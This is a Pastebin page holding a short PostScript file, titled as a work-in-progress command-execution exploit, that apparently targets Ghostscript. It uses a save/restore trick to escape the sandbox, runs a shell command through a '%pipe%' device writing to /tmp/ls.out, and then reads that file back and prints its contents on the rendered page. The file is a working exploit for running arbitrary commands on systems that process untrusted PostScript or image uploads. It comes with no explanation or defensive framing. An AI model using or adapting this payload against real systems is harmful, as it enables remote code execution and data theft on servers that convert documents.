daily pastebin goal
8%
SHARE
TWEET

command execution (wip) - ps

a guest Feb 26th, 2019 57 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. %!PS
  2. 0 1 100119 {} for
  3. {save restore} stopped {} if
  4. (%pipe%ls-D>/tmp/ls.out)
  5.  
  6. clear                            % clear the stack
  7.  
  8. /Buf 1024 string def             % line buffer
  9.  
  10. /Courier 16 selectfont           % name and size of font
  11. /LM 0 def                        % x coord
  12. /ypos 700 def                    % y coord
  13. /lineheight 16 def               % height of a line
  14. /newline {                       % function for changing lines
  15.     ypos lineheight sub
  16.     /ypos exch def
  17.     LM ypos moveto
  18. } def
  19. LM ypos moveto                   % move to starting coords
  20.  
  21. (/tmp/ls.out) .libfile {
  22.     {
  23.         dup Buf readline
  24.         {
  25.             show    
  26.         }{
  27.             showpage
  28.             quit
  29.         } ifelse
  30.         newline
  31.     } loop
  32. } if
  33. quit
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top